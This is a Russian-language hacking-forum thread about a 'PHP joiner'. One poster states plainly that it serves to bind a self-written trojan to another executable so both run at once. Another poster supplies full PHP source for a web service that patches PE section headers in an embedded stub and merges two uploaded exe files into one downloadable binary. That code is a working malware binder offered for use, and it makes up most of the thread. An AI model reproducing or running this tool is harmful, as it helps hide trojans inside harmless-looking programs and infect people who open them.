PHP Joiner

Статус
В этой теме нельзя размещать новые ответы.
F

fis

Прохожие
У кого есть (или кто просто знает алгоритм создания этой проги) joiner на php (программа для склеивания 2-х файлов в один)?
Видел как сервис на сайте, а в нете нигде больше нет:(
 
там не видео склеивает случайно?
а то просто склеить 2 куска слишком уж банально)
 
PHP:
$file1 = file_get_contents("1.txt");
$file2 = file_get_contents("2.txt");
$file3 = $file1.$file2;
$fp = fopen ("file.txt", "w+");
fwrite ($fp, $file3);
fclose ($fp);
должно работать :)
 
Для неумных:
PHP Joiner программа для склеивания 2-х exe файлов.
Например я написал трой, и его бинарный код надо смешать с бинарником другого exe, чтобы при запуске одного, запускалось сразу 2 приложения :)
 
да уж...
exe-файлы можно склеить тока с помощью exe-прог, т.е. написанных с помощью языков программирования под windows. :) А PHP - средство для веба! )
 
Держите

PHP:
<?php

//    Внимание! Данный джойнер запрещается использовать с целью, противоречащей законам РФ.
//    Авторы не несут никакой ответственности за действия, совершенные с помощью джойнера.
//
//    BUG(O)R, nerezus (c) 2006. GPL v2.

$maxSize = 3*1024*1024;

if (is_uploaded_file($_FILES['file1']['tmp_name']) && is_uploaded_file($_FILES['file2']['tmp_name'])) {
    $filename1 = $_FILES['file1']['tmp_name'];
    $filename2 = $_FILES['file2']['tmp_name'];
    $ext1 = substr($_FILES['file1']['name'], 1 + strrpos($_FILES['file1']['name'], "."));
    $ext2 = substr($_FILES['file2']['name'], 1 + strrpos($_FILES['file2']['name'], "."));
    if ((filesize($filename1) + filesize($filename2)) > $maxSize) {
        echo "Error: File size > $maxSize.";
        exit(1);
    } elseif (strtolower($ext1) != 'exe' or strtolower($ext2) != 'exe') {
        echo 'Error: Invalid file type.';
        exit(1);
    } else {

        $f1 = file_get_contents($filename1);
        $f2 = file_get_contents($filename2);

    }
} else {
    echo "Error: empty file.";
    exit(1);
}

function getAlignUp($x, $y)
{
    return ceil($x/$y)*$y;
}

function int2dword($int)
{
    return pack("L", $int);
}

function dword2int ($dword)
{
    $tmp = unpack('L',$dword);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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==');
}

function strAddrReplace($string, $substring, $alignment)
{
    return substr($string, 0, $alignment).
           $substring.
           substr($string, strlen($substring)+$alignment);
}

//$f1 = file_get_contents('1.exe');
//$f2 = file_get_contents('a.exe');
//$f2_ext = 'txt';

$joined = join_new();
//$joined = file_get_contents('join.exe');

$f1_len = strlen($f1);
$f2_len = strlen($f2);

$fileAlignment = 0x200;
$sectionAlignment = 0x1000;
//$sectionVirtualSize = dword2int(substr($f1, 0x238, 4));


/**
 * Preparing files to join
 */
$rawSize1 = getAlignUp($f1_len, $fileAlignment);
$rawSize2 = getAlignUp($f2_len, $fileAlignment);

$f1 = $f1.str_repeat(chr(0), $rawSize1-$f1_len);
$f2 = $f2.str_repeat(chr(0), $rawSize2-$f2_len);

$virtualSize1 = getAlignUp($rawSize1, $sectionAlignment);
$virtualSize2 = getAlignUp($rawSize2, $sectionAlignment);


$jVirtualSize   = dword2int(substr($joined, 0x210, 4));
$jVirtualOffset = dword2int(substr($joined, 0x214, 4));

$virtualOffset1 = getAlignUp($jVirtualSize, $sectionAlignment) + $jVirtualOffset;
$virtualOffset2 = $virtualSize1 + $virtualOffset1;

$jRawOffset = dword2int(substr($joined, 0x21C, 4));
$jRawSize = dword2int(substr($joined, 0x218, 4));
$rawOffset1 = $jRawSize + $jRawOffset;
$rawOffset2 = $rawSize1 + $rawOffset1;

$jSizeOfImage = dword2int(substr($joined, 0x110, 4));
$sizeOfImage = $jSizeOfImage + $virtualSize1 + $virtualSize2;

$joined = strAddrReplace($joined, int2dword($rawSize1), 0x240);
$joined = strAddrReplace($joined, int2dword($virtualSize1), 0x238);
$joined = strAddrReplace($joined, int2dword($virtualOffset1), 0x23c);
$joined = strAddrReplace($joined, int2dword($rawOffset1), 0x244);
$joined = strAddrReplace($joined, int2dword($rawSize2), 0x240+0x28);
$joined = strAddrReplace($joined, int2dword($virtualSize2), 0x238+0x28);
$joined = strAddrReplace($joined, int2dword($virtualOffset2), 0x23c+0x28);
$joined = strAddrReplace($joined, int2dword($rawOffset2), 0x244+0x28);
$joined = strAddrReplace($joined, int2dword($sizeOfImage), 0x110);

$joined = strAddrReplace($joined, int2dword($f1_len), 0x81a);
$joined = strAddrReplace($joined, int2dword($virtualOffset1 + 0x400000), 0x812);
$joined = strAddrReplace($joined, int2dword($f2_len), 0x81e);
$joined = strAddrReplace($joined, int2dword($virtualOffset2 + 0x400000), 0x816);

$joined = strAddrReplace($joined, int2dword(0xE00000E0), 0x254);
$joined = strAddrReplace($joined, int2dword(0xE00000E0), 0x27c);
//$joined = strAddrReplace($joined, $f2_ext, 0x80e); //ext

$outputFile = $joined.$f1.$f2;
//file_put_contents('new.exe', $outputFile);

header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');
header('Content-transfer-encoding: binary');
header('Content-Disposition: attachment; filename=joined(xsintez).exe');
header('Content-Length: '.strlen($outputFile));
header('Content-Type: application/octet-stream');
echo $outputFile;





?>
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху